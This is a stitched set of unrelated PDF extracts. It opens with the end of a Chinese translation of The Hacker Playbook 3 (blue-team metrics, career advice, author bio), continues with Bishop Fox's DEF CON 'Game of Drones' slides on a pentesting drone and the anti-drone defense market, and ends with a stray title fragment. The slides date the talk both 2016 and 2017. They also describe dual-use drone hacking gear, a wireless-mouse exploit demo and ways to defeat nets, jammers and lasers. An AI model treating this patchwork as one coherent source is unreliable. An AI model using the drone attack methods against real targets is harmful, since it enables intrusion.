蓝队需要多长时间来识别网络钓鱼活动。 第二部分应该讨论有关采取行动之前花费的时间的统计数据。如果有
已警告的 C2 通信或已识别的网络钓鱼,那么在防火墙或 DNS 服务器上封锁这些域需要花费的时间是多久?我
们经常看到公司可能擅长屏蔽域名,但是当 C2 服务器通过 IP 进行通信时会很快失败(反之亦然)。我们希望
确保跟踪此活动并帮我们的客户来识别它。另一个很有用的 TTM 衡量标准是他们最快的情况下要花多久来隔离
一个已经确认受损的系统。随着恶意软件变得越来越自动化,我们需要开始利用智能化和自动化的流程将系统
或网络的一部分与组织的其他部分隔离开来。
来自应急响应/应急人员的反馈:我最喜欢记录的东西之一是来自蓝队的反馈:他们是如何从防守的角度看待整
个活动的。我想知道的是,他们是否觉得自己遵守了安全政策,事件负责人是否推动了调查,管理层是否过度
介入,安全部门如何与 IT 部门进行安全方面的互动,从而促进任何与 IT 相关的改变(防火墙屏蔽、DNS 修改
等等)。以及他们中间的哪些人过于慌张、哪些人过于冷静。
如前所述,红队的目的不是寻找漏洞或破坏环境(尽管这是非常有趣的部分),而是改善客户组织的整体安全程序和
规划并证明其环境中存在某些漏洞。如今,许多公司对自己的安全程序过于自信,只有当他们被攻破时才会做出改
变。现在有了红队,我们可以模拟攻击行为并鼓励客户做出改变,而不是等到真实入侵的事件,那时或许已为时太
晚。
继续教育
译者:@Snowming
一个我总是被读者问到的问题是:我现在该做什么?他们说: 我已经读了所有的The hacker playbook书籍,参加了
各种培训课程,还参加了一系列会议……接下来我应该做什么呢?基于此,我可以给你最好的建议是,你应该开始从小
项目开始做起,为安全社区做贡献。这是真正测试你的技能和提高水平的最好方法。
一些可能有用的想法:
1. 建立一个博客和你自己的 Github 帐户:你应该写一下你所有的经历和所学。虽然你向世界分享了它,但它真
的对你个人成长更有帮助。强迫自己把你正所学的写进博客将帮助你提高写作水平,更好地解释漏洞/使漏洞以
易于理解的方式被展现,并确保你充分了解所学的内容。
2. 你的简历应该是你的 Github 帐户:我总是告诉我的学生你的 Github 帐户(或博客)应该能够有自己的一席之
地。不管它是只是关于很多小型安全项目(比如让工具更高效)还是你自己做的安全项目,你应该在 Github 上
声明你所做的工作。
3. 在当地会议上发言:演讲可能极其令人畏惧,但如果你的简历上有你的演讲经历,你会远远优秀于同圈子中的
其他人。你能找到可以演讲的地方吗?我会建议你从你当地的聚会开始(meetup.com),找到团体并积极参
与。这些团体通常很小,但每个人都非常友好。如果你在南加利福尼亚地区,那正好,我创立并经营着
LETHAL(meetup.com/LETHAL),这是一个由社区驱动的免费安全组,不同成员每月出席一次。无论如何,
参与其中!
4. 漏洞赏金计划:无论你是处于进攻还是防守的一方,赏金计划可以真正帮助你提高你的游戏水平。像
HackerOne,BugCrowd, SynAck, 补天等漏洞赏金项目程序可以免费注册。通过这样,你不止可以赚到不错的
收入,也可以合法地破解他们的网站。(当然,这仍然在他们的计划范围内)。
5. 参加 CTF:我知道很难有足够的时间去做我提到的以上所有事。但我总是告诉我的学生,做安全不是工作--它是
一种生活方式。去 CTFTime.org,挑选一些CTF,在周末参与 CTF,黑掉他们的网站。相信我,你在 CTF 的周
末中能学到的比你上过任何班级的还要多。
6. 与朋友一起建立一个实验室:除非你复制一个极度类似企业环境的测试实验室,否则你很难练习真实的脚本。
没有这个测试环境,你就不会真正理解在所有攻击工具成功运行的背后发生了什么。因此,必须建立一个包含
VLAN,Active Directory,服务器,GPO,用户和计算机,Linux 环境,Puppet,Jenkins 以及所有常用工具的
完整的实验室。
7. 向坏人学习:对于红队来说,这是最重要的一点。我们的作战不应该是理论上的,而是复制另一个真正的攻
击。密切关注最新的 APT 报告,并确保 你足够了解对手和了解如何改变他们的攻击。
8. 订阅 The Hacker Playbook:了解最新的 The Hacker Playbook 新闻。请在此订阅http://thehackerplayboo
k.com/subscribe/ 。
9. 培训:如果你正在寻找一些培训,请联系我们 http://thehackerplaybook.com/training/
关于作者
译者:@Snowming
作者 Peter Kim 从事信息安全行业超过14年,在渗透测试/红队领域工作超过12年。 他曾服务于多家公用事业公司、
财富1000娱乐公司、政府机构以及大型金融机构。虽然他最为知名的是一书系列,但他却热衷于建立一个“安全”的安
全社区,指导学生并培训他人。他创立并维护着南加州最大的一家技术安全俱乐部“LETHAL”(www.meetup.com/LE
THAL ),并在他的网站 LETHAL Security(lethalsecurity.com)进行私人培训,同时他还经营一家渗透测试公司,
名为Secure Planet(www.SecurePla.net)。
Peter 在他的《The Hacker Playbook》系列的主要目标是向读者灌输激情,让他们站在盒子外思考。随着安全环境
不断变化,他希望帮助下一代人建立专业的安全知识和素养。
如有以下任何一种情况,请随时联系 Peter Kim:
关于这本书的问题:[email protected]
有关私人培训或渗透测试的咨询:[email protected]
Twitter:@hackerplaybook | pdf |
Game of Drones
PUTTING THE EMERGING ‘DRONE DEFENSE’ MARKET TO THE TEST
DEF CON 25 (2017) – LAS VEGAS, NV
July 29, 2016
Presented by:
•
Francis ‘tastic’ Brown
•
David Latimer
Bishop Fox, LLC
www.bishopfox.com
2
1. The Danger Drone by Bishop Fox
2. Crazy State of Drone Defense Market
3. Drone Legal Landscape
4. Future Is Gonna Be Awesome
OVERVIEW
Agenda
3
MOTIVATIONS BEHIND THIS TALK
No Such Thing as Drone Defense ‘Best Practices’
• Companies are beginning to implement 1st generation drone defense solutions / products
o P r e v i o u s p r o o f o f c o n c e p t s h a v e a l r e a d y d e m o n s t r a t e d t h a t t h e t h r e a t i s r e a l
• There are no ‘best practices’ or proven methods for defense against drones
• Practical pentesting tools are needed to test the effectiveness of these new ‘drone
defense’ deployments
o S e p a r a t i n g r e a l c o u n t e r m e a s u r e s f r o m s n a k e o i l
o M u s t b e c h e a p , e a s y t o b u i l d , a n d e a s y t o l e a r n h o w t o u s e f o r s e c u r i t y p r o f e s s i o n a l s
DANGER DRONE
FOR PENETRATION TESTERS
5
FREE PENTESTING DRONE FROM BISHOP FOX
Welcome to the Danger Drone
• https://www.bishopfox.com/resources/tools/drones-penetration-testers/
Raffle: http://tiny.cc/dangerdrone
6
HACKING PERIPHERALS – ADD-ON USB EXAMPLES
Parts – Hacking ‘Over the Air’
• Custom 3D printed “3rd shelf” is convenient for attaching hacking USB peripherals:
TP-Link TL-WN722N
3D Printed 3rd Shelf
7
HACKING PERIPHERALS – ADD-ON USB EXAMPLES
Parts – Hacking ‘Over the Air’
Atmel – ZigBee Hacking Gear
SENA UD100 Bluetooth USB
HackRF One:
Software Defined Radio
TP-Link TL-WN722N
Wi-Spy DBx Pro –
USB Spectrum Analyzer
• Wi-Fi
• Bluetooth
• RFID / NFC
• ZigBee
• Software Defined Radio
• Wireless Keyboard Sniffers
• ...
Bluetooth 4.0 USB Micro
Adapter (CSR 8510 Chipset)
Asus USB-N53
(dual band)
WiFi Pineapple Nano
DEMO
9
FLY-BY DRONE EXPLOITATION, HIT AND RUN HACKING
DEMO: Exploiting Wireless Mouse via Drone
• http://dangerdrone.io/
+
https://github.com/insecurityofthings/jackit
10
CHEAPER, LIGHTER, AND CUSTOMIZABLE (EXTRA SHELVES / SPACE)
3D Designs
• http://www.thingiverse.com/bishopfox/designs
11
• Raspberry Pi based copters have the obvious appeal of being heavily developed and supported by
both the drone and hacker communities.
• The 2 most popular Raspberry Pi based flight controllers are the Erle-Brain 3 and the Navio 2:
HEAVILY SUPPORTED IN DRONE AND HACKER COMMUNITIES
Drone Brain = Raspberry Pi
Navio2
Erle-Brain 3
12
CHEAPER TO BUILD YOURSELF - SLIGHTLY
Parts and Pieces – Piecemeal
Bishop Fox – Danger Drone Research – Parts Lists, Assembly, and Config Guidance see:
•
https://www.bishopfox.com/resources/tools/drones-penetration-testers/
•
Essentially starting with working / flying Erle-Copter and then
adding hacking capability (without breaking flying ability):
•
Adding Hardware – e.g. USB peripherals to Raspberry Pi, shelves
•
Adding Software – e.g. drivers, config changes, installs, etc.
$490.53
13
LOTS OF NEW TARGETS FOR ‘OVER THE AIR’ ATTACKS
IoT = Target Rich Environment
+
=
Danger Drone
Target Rich Environment
Internet of Things (IoT)
•
Ideal platform to launch ‘over the air’ attacks against new IoT products popping up in both the home & office
•
Drone hacking threats need to be considered by consumers, security pros, and IoT product manufacturers
IN THE NEWS
DRONE-STRAVAGANZA
15
THREATS EVOLVING, NOW DEFENSES NEED TO AS WELL
Data Exfiltration Via Drones and Lights
Feb 2017
SecurityAffairs.co - Researchers exfiltrate data with drone by blinking the LEDs on the hard drives - 23Feb2017
•
http://securityaffairs.co/wordpress/56583/breaking-news/data-exfiltration-hdd-leds.html
16
THREATS EVOLVING, NOW DEFENSES NEED TO AS WELL
Military and Drones
Mar 2017
The Verge - A US ally shot down a $200 drone with a $3 million Patriot missile - 16Mar2017
“Flying IED’s”
17
DRONE-SHANK REDEMPTION
Prison Break Thanks to Drone
July 2017
USA Today - Jimmy Causey, escaped inmate, likely used wire cutters dropped by drone - 07July2017
18
FIRST RESPONDERS AND EMERGENCY SERVICES NEED DRONE DEFENSES
Forced to ‘Let It Burn’
July 2017
AZCentral.com - Arrest made in drone flights over Goodwin Fire - 01July2017
The face of the
new threat of
rogue drones.
DRONE DEFENSE
MARKET
EMERGING MARKET OVERVIEW
20
BY PRODUCT TYPE - EMERGING LEADERS IN ‘ROGUE DRONE’ DEFENSE
Drone Defenses - Categories
21
INSIDE LOOK AT WHO ARE CONSIDERED EMERGING LEADERS IN ‘ROGUE DRONE’ DEFENSE
Examples: Common Drone Defenses
Eagles Trained to Hunt Drones
Net Cannons
Hunter Drones Shooting Nets
Hunter Drones Shooting Nets
Drones Swooping with Big Nets
Jammer Cannons
22
Fortune.com - Drone Sales Are about To Go Crazy - FAA Projects
Drone Sales To Soar By 2020 - 25Mar2016
•
“The FAA believes that 2017 will be the big turning point in drone
adoption by businesses, which use them for everything from scanning
power lines to inspecting rooftops for insurance companies.
Commercial sales are expected to reach 2.5 million, after which sales
will increase only slightly for the next few years.” -- Forbes
https://www.faa.gov/data_research/aviation/aerospace_forecasts/medi
a/Unmanned_Aircraft_Systems.pdf
•
“Drone sales are expected to grow from 2.5 million this year to 7 million
in 2020, according to report released this week by the Federal Aviation
Administration... Hobbyist sales will more than double from 1.9 million
drones in 2016 to 4.3 million in 2020, the agency said. Meanwhile,
business sales will triple over the period from 600,000 to 2.7 million.”
EVERYONE WANTS A PIECE OF THAT FUTURE ANTI-DRONE DEFENSE MARKET $$$
Drone and Defenses Markets Growing
23
INSIDE LOOK AT WHO ARE CONSIDERED EMERGING LEADERS IN ‘ROGUE DRONE’ DEFENSE
Drone Defenses Gone Wild
Drone Defenses:
~86 products
researched
24
INSIDE LOOK AT WHO ARE CONSIDERED EMERGING LEADERS IN ‘ROGUE DRONE’ DEFENSE
Example: Marketing a Little Ahead of Itself
Department 13 - Mesmer - Counter Drone System - 04July2016 - Slide 9 - Competitor’s Matrix
•
http://www.department13.com/wp-content/sharelink/20160704-mesmer---investor-presentation-a5824ff7cc200fd305fee33cbf73c5f1.pdf
Date of PDF:
04 July 2016
Date of v1.0 Product Released:
23 Jan 2017
25
REMOTELY HACKING DRONES TO DEFEND AGAINST THEM
Example: Marketing a Little Ahead of Itself
Hijacking command and control signal, or “mesmerizing” the drone (as they say)
Mesmer - Department 13 - Counter Drone System - Hijack Command and Control Signal
•
http://www.department13.com/products/
~$200k
“Mesmerized”???
26
BISHOP FOX WENT TO THE DESERT TO TEST DRONE DEFENSE PRODUCTS
Exclusive Video: Drone Defenses Testing
https://www.wired.com/story/watch-anti-drone-weapons-test/
+
DRONE DEFENSES
THERE ARE NO BEST PRACTICES … YET
DRONE DETECTION &
ALERTING SYSTEMS
29
• Acoustic
• Sonic/Ultrasonic
• LIDAR
• Radar
• RF
• Visual/Optical/Video
• Infrared (IR)
LOTS OF WAYS TO FIND ROGUE DRONES
Drone Detection and Alerting Systems
• Lasers
• Thermal
• WiFi
• ADS-B (Automatic Dependent
Surveillance-Broadcast)
• Holographic Radar
• …
30
NO BEST PRACTICES, SO PENTEST TOOLS NEEDED TO VALIDATE THESE ARE WORKING
Drone Defenses Gone Wild
ZDNet- Cisco chairman backs drone security startup (Dedrone) in $15m Series B round - 14Feb2017
The Register - Airbus doesn't just make aircraft – now it designs drone killers - 27July2016
•
http://www.dedrone.com
31
NO BEST PRACTICES, SO PENTEST TOOLS NEEDED TO VALIDATE THESE ARE WORKING
Drone Defenses Gone Wild
Gizmodo - The Next Star Wars Movie Has Recruited a Team of Drones to Protect Its Secrets - 22Feb2016
Motherboard - Star Wars Ordered a 'DroneShield' to Prevent Leaks On Set - 10Sept2014
•
Why monitor a problem if you don’t do anything about it, though?
DroneShield – Drone Detection and Response Products
•
https://www.droneshield.com/products
32
DRONE DETECTION AND ALERTING SYSTEMS
Drone Defenses Gone Wild
DRONELIFE - What's So Secret About the FAA Contract with CACI? - 06Apr2016
•
“The FAA announced a partnership with CACI, an information services company, and the Department of Homeland
Security to create a drone detection system, according to a press release.”
SkyTracker - by CACI - UAS Precision Tracking System
•
http://www.caci.com/skytracker/
33
DRONE DETECTION AND ALERTING SYSTEMS
Drone Defenses Gone Wild
AOPA.org - Sensofusion Airfence - Drone fence arriving in Denver - 03Nov2016
Sensofusion – Airfence – Drone Detection and Tracking System
•
https://www.sensofusion.com/
34
DRONE DETECTION AND ALERTING SYSTEMS
Drone Defenses Gone Wild
DDC LLC - Domestic Drone Countermeasures - Drone Detection Systems
•
The Basic Personal Drone Detection System consists of three boxes: a Primary Command and Control Module and two Detection Sensor Nodes.
These three boxes create a mesh network that can triangulate moving transmitters.
DDC LLC - Domestic Drone Countermeasures - Drone Detection Systems
•
https://www.sensofusion.com/
~$40k
35
DRONE DETECTION AND ALERTING SYSTEMS
Drone Defenses Gone Wild
DDC LLC - Domestic Drone Countermeasures - Drone Detection Systems
•
The Basic Personal Drone Detection System consists of three boxes: a Primary Command and Control Module and two Detection Sensor Nodes.
These three boxes create a mesh network that can triangulate moving transmitters.
Gryphon Sensors - Skylight - Drone Detection and Tracking
•
http://gryphonsensors.com/products/
~$235k
EAGLES & FALCONS
PLUCKING DRONES
FROM SKY
37
FALCONS AND EAGLES TRAINED TO ATTACK DRONES
Drone Defenses Gone Wild
The Washington Post - Terrorists are building drones. France is destroying them with eagles. - 21Feb2017
Fox News - Watch a police eagle take down a drone - 01Feb2016
“I’d like to spend my security
training budget on falconry
classes, please.” –
Every Security Professional Next Year
Guard From Above - Using birds of prey to intercept hostile drones
•
http://guardfromabove.com/
38
FALCONS AND EAGLES TRAINED TO ATTACK DRONES
Drone Defenses Gone Wild
Guard From Above - Using birds of prey to intercept hostile drones
•
http://guardfromabove.com/
39
FALCONS AND EAGLES TRAINED TO ATTACK DRONES
Drone Defenses Gone Wild
Guard From Above - Using birds of prey to intercept hostile drones
•
http://guardfromabove.com/
40
FALCONS AND EAGLES TRAINED TO ATTACK DRONES
Defeating Birds of Prey Defenses
+
Detection and response to incoming eagles or falcons.
Detect Incoming Eagles:
Responses: Carrot or Stick
Bacon Countermeasures
Offensive
Countermeasures
OR
Hypothetically, obviously
SHOOTING NETS AT DRONES
FROM THE GROUND
42
BAZOOKA SHOOTING NETS WITH PARACHUTE AT DRONES
Drone Defenses Gone Wild
Mashable - SkyWall gun stops drones dead with net, then gives a parachute landing - 05Mar2016
Popular Science - SkyWall Is A New Anti-Drone Net Bazooka For Police - 07Mar2016
OpenWorks Engineering - SkyWall
•
https://openworksengineering.com/skywall
~$70k - $80k
43
DRONE NET GUN – SMALL FLASHLIGHT SIZED
Drone Defenses Gone Wild
DroneDefence.co.uk - Net Gun X1
Drone Defence - Net Gun X1
•
http://www.dronedefence.co.uk/net-gun-x1
44
DRONE NET GUN – SMALL FLASHLIGHT SIZED
Drone Defenses Gone Wild
BigUrb - Tactical Net Gun
•
https://www.amazon.com/BigUrb-Tactical-Net-Gun/dp/B01N6VRY9D/
~$500
45
DRONE NET GUN – SMALL FLASHLIGHT SIZED
Drone Defenses Gone Wild
Shoots up to ~45 feet
TheNetGunStore.com - Net Guns for Drone Defense - 20Nov2014
TheNetGunStore – Net Gun
•
http://www.thenetgunstore.com/product/the-hero-net-gun/
~$600 - $800
46
CHICKEN WIRE FOR THE WIN
DEMO: Defeating Net Defenses with Protective Cage
vs.
Chicken Wire Cage = ~$15
Flashlight Net Gun = ~$600-$700
47
CHICKEN WIRE FOR THE WIN, ARIZONA HEAT FOR THE WIN TOO!
DEMO: Defeating Net Defenses with Protective Cage
48
DIY DRONE NET GUN
Drone Defenses Gone Wild
LifeHacker - Build a Drone-Catching Net Gun Out of Basic Plumbing Parts - 24Feb2017
DIY Net Gun for Drones - William Osman
•
http://www.williamosman.com/2016/12/diy-net-gun.html
~$40 - $75
49
DRONE NET GUN SHOTGUN SHELLS
Drone Defenses Gone Wild
Advanced Ballistics Concepts - Skynet™ Drone Defense
SKYNET – Drone Defense – Shotgun Net Shells
•
http://store.mibullet.com/skynetdronedefense.aspx
~$20 for 3 shells
50
SHOTGUN SHELLS WIN
DEMO: Defeating Net Defenses with Protective Cage
vs.
Chicken Wire Cage = ~$15
SkyNet Drone Net Shotgun
Shells (3 pack) = ~$20
51
SHOTGUN SHELLS WIN
DEMO: Defeating Net Defenses with Protective Cage
DRONES SHOOTING
NETS AT DRONES
53
DRONES SHOOTING NETS AT OTHER DRONES
Drone Defenses Gone Wild
DroneCatcher - Catching a Drone with a Drone - 19Aug2016 -YouTube
Security Affairs - The DroneCatcher evolves featuring a new improvement - 04April2016
DroneCatcher - DelftDynamics
•
http://dronecatcher.nl/
~$30,000 Euro
“Hoping to ship first units
by the end of 2017”
54
DRONES SHOOTING NETS AT OTHER DRONES
Drone Defenses Gone Wild
WSJ - Its Drone vs. Drone as Airspace Systems Takes Flight - 09Mar2017
Gizmodo - Watch a Drone-Hunting Quadcopter Attack Its Prey - 13Oct2016
Airspace Systems Inc One Touch Interceptor TI - 22Oct2016 - YouTube
American Airspace Systems - One-Touch Interceptor TI
•
http://airspace.co
“Millions of dollars” in cost –
according to them on phone
55
ONE-TOUCH ‘CLEAN THE SKY’ SOLUTIONS – AUTO-MAGICALLY FIND AND ELIMINATE ‘ROGUE DRONES’
TREND: Defensive Drones Going Autonomous
•
Most air-to-air drone defenses starting to incorporate A.I. and
machine learning to deploy automated anti-drone products
•
One-touch search-and-destroy autonomous drones, i.e. no need
to teach your employees how to be Top Gun’s in order to defend
against ‘rogue drones’
56
DRONES SHOOTING NETS AT OTHER DRONES
Drone Defenses Gone Wild
Popular Mechanics - Drone-Mounted Net Cannon Snags Other Drones with Ease - 12Jan2016
TheNextWeb - Watch Michigan Tech's 'Robotic Falcon' snatch this drone out of mid-air - 13Jan2016
Michigan Tech - Robotic Falconry
•
http://me.sites.mtu.edu/rastgaar/hirolab/
57
DRONES SHOOTING NETS AT OTHER DRONES
Drone Defenses Gone Wild
Net Gun Drone - Excipio | Flite Test - 11Jan2016 - YouTube
•
“Excipio” is Latin for “capture”
•
Rebranded “Fortem – Drone Hunter” in 2017:
•
http://fortemtech.com/dronehunter/
Excipio - Net Gun Drone - thisisuav.com
•
http://www.theissuav.com/researchanddevelopment/
~$3,500 in Nov 2016
~$47,500 in 2017 (Fortem)
58
DRONES SHOOTING NETS AT OTHER DRONES
Drone Defenses Gone Wild
SPARROWHAWK PHASE ONE - Search Systems
SparrowHawkFinal_1_1.mp4 - 07Mar2016
Search Systems - SparrowHawk Phase One (2016) - Counter UAV
•
http://searchsystems.eu/sparrowhawk/
DRONES WITH NETS SWOOPING
AT AND SNAGGING DRONES
60
DRONES WITH NETS SWOOPING IN AND SNAGGING DRONES
Drone Defenses Gone Wild
Tokyo police drones use nets to catch illegally flown devices - 14Dec2015 - YouTube
Daily Mail Online - Tokyo police reveal bizarre 'UAV drone catcher' - 11Dec2015
Tokyo Police - Drone Interceptor
61
DRONES WITH NETS SWOOPING IN AND SNAGGING DRONES
Drone Defenses Gone Wild
Popular Mechanics - This Drone Interceptor Captures Your Pathetic Puny Drone With a Net - 11Feb2015
Malou Tech - Drone Interceptor MPI 200
•
http://groupe-assmann.fr/malou-tech/
~$25,000 Euro
62
DRONES WITH NETS SWOOPING IN AND SNAGGING DRONES
Drone Defenses Gone Wild
http://searchsystems.eu/gallery.html
sparrowhawk_2.mp4 - 07Mar2017
Search Systems - SparrowHawk v2 (2017) - Counter UAV
•
http://searchsystems.eu/sparrowhawk.html
~$11k =
$5k drone (DJI M600) +
$6k attachment (£5k)
DEMO
64
AIR-TO-AIR COMBAT DRONE DEFENSE WITH LARGE NET FOR SWOOPING
DEMO: Testing the SparrowHawk v2 Prototype
CANNONS SHOOTING JAMMING
SIGNALS OR EMPS TO KNOCK
DRONES OUT OF SKY
66
CANNONS SHOOTING JAMMING OR EMP SIGNALS TO KNOCK DRONES OUT OF SKY
Drone Defenses Gone Wild
Mashable - DroneShield - DroneGun - Here is the anti-drone gun of your Rambo fantasies - 27Nov2016
•
DroneGun may not be used or offered for sale in the U.S., other than to the government and its agencies. That's
because the FCC "prohibits the operation, marketing, or sale of any type of jamming equipment."
DroneGun – by DroneShield
•
https://www.droneshield.com/dronegun
“10’s of thousands of dollars”
67
CANNONS SHOOTING JAMMING OR EMP SIGNALS TO KNOCK DRONES OUT OF SKY
Drone Defenses Gone Wild
Security Affairs - DroneDefender, electromagnetic gun that shoot down drones - 16Oct2015
•
Only really work against Wi-Fi controlled drones, ineffective against those like the Danger Drone (i.e. cellular/GPS control)
DroneDefender – by Battelle
•
https://www.battelle.org/government-offerings/national-security/aerospace-
systems/counter-UAS-technologies/dronedefender
68
DRONE PORTABLE JAMMERS
Drone Defenses Gone Wild
DroneDefence.co.uk - Dynopis Electronic Counter Measures (ECM)
Drone Defense - Dynopis E1000MP - Man Portable Drone Jammer
•
http://www.dronedefence.co.uk/dynopis-ECM
69
CANNONS SHOOTING JAMMING OR EMP SIGNALS TO KNOCK DRONES OUT OF SKY
Drone Defenses Gone Wild
The Register - FAA to test Brit drone-busting kit (Blighter) - 01Jun2016
•
“The Blighter AUDS counter-UAV system can detect a drone six miles (10km) away using electronic scanning radar, track it using
precision infrared and daylight cameras and specialist video tracking software before disrupting the flight using an inhibitor to
block the radio signals that control it. This detect, track, disrupt, defeat process is very quick and typically takes 8-15 secs.”
Blighter - AUDS (Anti-UAV Defence System) – Detect, Track, Disrupt, Defeat
•
http://www.blighter.com/products/auds-anti-uav-defence-system.html
~£800k (~ $1,037,656.00 USD)
70
•
Remote control over SSH tunnel via 3G USB cell connection. GPS & Cellular signals are illegal to jam (see FCC
regulations), making it hard to defend against this type of drone.
o h t t p s : / / t r a n s i t i o n . f c c . g o v / e b / j a m m e r e n f o r c e m e n t / j a m f a q . p d f
HACKING PERIPHERALS – CELLULAR 3G USB & GPS – SECURE COMMAND & CONTROL
Defeating Jammers
Wireless / Bluetooth /
ZigBee / etc. Pen Testing
Attacker
Cell Tower
Cell Tower
Target Building
Mission Planner
* Note: be sure to check upcoming FCC regulations about
needing to keep drone within line of sight while flying.
REMOTELY HACKING DRONES
TO DISABLE THEM
72
REMOTELY HACKING DRONES TO DEFEND AGAINST THEM
Drone Defenses Gone Wild
Popular Science - Defense Company Unveils Anti-Drone System - 17Sept2015
Falcon Shield - 01Oct2015 - YouTube
•
“The material is vague on how exactly it stops small drones, but a video of the system shows the hypothetical threat: a
quadcopter dropping a bomb in a stadium. The video then rewinds to show the same attack, foiled by Falcon Shield after
mysterious beams take over the drone.”
Leonardo-Finmeccanica - Selex ES - Falcon Shield
•
http://www.leonardocompany.com/en/-/falcon-shield-launch
~$311k
73
REMOTELY HACKING DRONES TO DEFEND AGAINST THEM
Drone Defenses Gone Wild
Threatpost - How to Skyjack Drones for $400 - 03Dec2013
SkyJack - autonomous drone hacking w/Raspberry Pi, aircrack & Javascript - 03Dec2013 - YouTube
•
Raspberry Pi drone that autonomously seeks outs, hacks, and takes remote control of other drones
SkyJack - Samy.pl - Raspberry Pi hacking
•
http://samy.pl/skyjack/
74
REMOTELY HACKING DRONES TO DEFEND AGAINST THEM
Drone Defenses Gone Wild
SecurityAffairs.co - A hacker developed Maldrone, the first malware for drones - 27Jan2015
First Backdoor for Drones. Maldrone aka Malware for Drones - 26Jan2015- YouTube
•
“Security expert Rahul Sasi has discovered and exploited a backdoor in Parrot AR Drones that allows him to remotely hijack
the UAV with the malware Maldrone.”
Maldrone – the First Backdoor for Drones
•
http://garage4hackers.com/entry.php?b=3105
75
CANNONS SHOOTING JAMMING OR EMP SIGNALS TO KNOCK DRONES OUT OF SKY
Drone Defenses Gone Wild
DRONELIFE - Anti-Drone Gun Uses Raspberry Pi - 11May2016
•
Only really work against Wi-Fi controlled drones, ineffective against those like the Danger Drone (i.e. cellular/GPS control)
MAKE: Build a Wi-Fi Drone Disable with a Raspberry Pi – May2016
•
http://makezine.com/projects/build-wi-fi-drone-disabler-with-raspberry-pi/
SHOOTING DRONES WITH
FRICKIN LASER BEAMS
77
SHOOTING DRONES WITH FRICKIN LASER BEAMS
Drone Defenses Gone Wild
LA Times - To keep drones out of high-risk areas, companies try hijacking them and shooting them down - 07Oct2016
•
“Last year, Boeing unveiled its compact laser weapons system, which ignites targeted drones. At a demonstration in California, Boeing said it took
only about 15 seconds for its 2-kilowatt laser to disable the drone.”
Wired.com - Welcome to the World, Drone-Killing Laser Cannon - 27Aug2015
•
“The laser can take the 220 volts of power it needs from a generator or mobile battery pack and is controlled with nothing more than a laptop and
an Xbox 360 controller, and the system will take over to track and fire on a drone itself once it's in range.
Boeing’s Compact Laser Weapons System: Sets Up in Minutes, Directs Energy in Seconds - 27Aug2015 - YouTube
Boeing - Compact Laser Weapons System – “Directed Energy”
•
http://www.boeing.com/features/2015/08/bds-compact-laser-08-15.page
~$11 million
78
SHOOTING DRONES WITH FRICKIN LASER BEAMS
Drone Defenses Gone Wild
U.S. Navy LaWS - AN/SEQ-3 Laser Weapon System or XN-1 LaWS
•
https://en.wikipedia.org/wiki/Laser_Weapon_System
79
SHOOTING DRONES WITH FRICKIN LASER BEAMS
Defeating Laser Weapons
1.
Mirrors (Dielectric or Bragg)
2.
Smoke, Dust, Obscurants
3.
Thermal Transport Delay
4.
Ablative Materials (heat -> gas)
5.
Metamaterials (bend light like
Predator)
6.
Adsys Controls – Helio
•
Detects laser and fights back
Popular Science - Drones Fight Back Against Laser Weapons - 04Nov2016
•
http://www.popsci.com/laser-guns-are-targeting-uavs-but-drones-are-fighting-back
Counter Directed Energy Weapons - Office of Naval Research
•
https://www.onr.navy.mil/en/Media-Center/Fact-Sheets/Counter-Directed-Energy-Weapons.aspx
LEGAL ISSUES
YOU HAVE THE RIGHT TO REMAIN FRUSTRATED
81
CHANGING LEGAL LANDSCAPE
FAA Rule on Small Drones
• https://registermyuas.faa.gov/
Effective: 29 Aug 2016
82
CHANGING LEGAL LANDSCAPE
Taylor vs. FAA - Lawsuit Against Drone Rule
RC Groups - Taylor v. FAA Update - 04Mar2017
DRONELIFE - The Lawsuit Over Drone Registration: Taylor vs. Huerta & FAA - 14Jun2016
Hackaday - Don’t Like the FAA’s Drone Registration? Sue Them! - 26Sept2016
•
“My case challenging the FAA's model aircraft registration regulation, and the application of DC-area flight zones to model
aircraft is scheduled for oral argument in the U.S. Court of Appeals for the D.C. Circuit on March 14, 2017.”
19 May 2017
83
IF YOU CAN’T JAM THE SIGNAL, AND YOU CAN’T BLAST WITH A SHOTGUN… THEN WHAT?
Hard to Legally Defend Against Drones
The Register - Bloke cuffed for blowing low-flying camera drone to bits with shotgun - 20July2015
Digital Trends - Drone Shooting is a Federal Crime - 17Apr2016
“What the h*** are we supposed
to use, man, harsh language?” –
Aliens (1986)
84
BASICALLY AN UNSTABLE BOMB – POKE AND IT BLOWS UP
WARNING: Shooting LiPo Batteries Is Dangerous
YouTube - What happens when you puncture a LiPo battery - July2014
•
https://www.youtube.com/watch?v=wUFxlf4fXjo
85
IF YOU CAN’T JAM THE SIGNAL, AND YOU CAN’T BLAST WITH A SHOTGUN… THEN WHAT?
Hard to Legally Defend Against Drones
Digital Trends - Drone Shooting is a Federal Crime - 17Apr2016
Aircraft Sabotage Law:
“Conviction for violating
the FAA statute could result
in a 5-year prison term.”
FUTURE IS AWESOME
1980’S SCI-FI… FINALLY HAPPENING
87
GADGETS – SMALLER FLYING DEVICES & DROPPING OFF GROUND DEVICES
The Future was on TV in the Past
Call of Duty - RC-XD Remote
Control Car (w Camera/Mic)
Wearable
drones
“Bugs”
Sand Flea - Jumping Infiltrating Robot
1.
Drone Swarms
2.
Hybrid Approaches
3.
Under-water Drone
4.
Micro / Bug-sized Drones
24 (TV) – Spy Bot
“Bugs”
Transformers – Laserbeak
88
GADGETS – SMALLER FLYING DEVICES & DROPPING OFF GROUND DEVICES
The Future was on TV in the Past
1.
Drone Swarms
2.
Hybrid Approaches
3.
Under-water Drone
4.
Micro / Bug-sized Drones
US Army – Micro Copters
DragonFly Cyborgs
89
GADGETS – SMALLER FLYING DEVICES & DROPPING OFF GROUND DEVICES
The Future was on TV in the Past
Mashable - These drones use wifi to make 3D images - 20Jun2017
•
http://mashable.com/2017/06/20/drones-3d-wifi-map/
90
GADGETS – SMALLER FLYING DEVICES & DROPPING OFF GROUND DEVICES
The Future was on TV in the Past
Rise of A.I. and Auto-pilot Software
Bishop Fox – Danger Drone Research:
• http://dangerdrone.io
Attributions (Images in Slides)
Wi-Spy image
Adapter image
ASUS USB image
Wi-Fi Antenna image
Blue-Tooth USB adapter image
Roving Networks image
BlueSMiRF image
Arduino BlueTooth image
Raspberry Pi BlueTooth image
O’Reilly BlueTooth Book image
SENA Adapter image
Wi-Fi Pineapple image
Raspberry Pi image
BlueTooth Module Breakout image
BlueTooth Bee image
tkemot/Shutterstock
dizain/Shutterstock
WEB-DESIGN/Shutterstock | pdf |
Truman Kain
TEVORA
Your Lookout on Autopilot
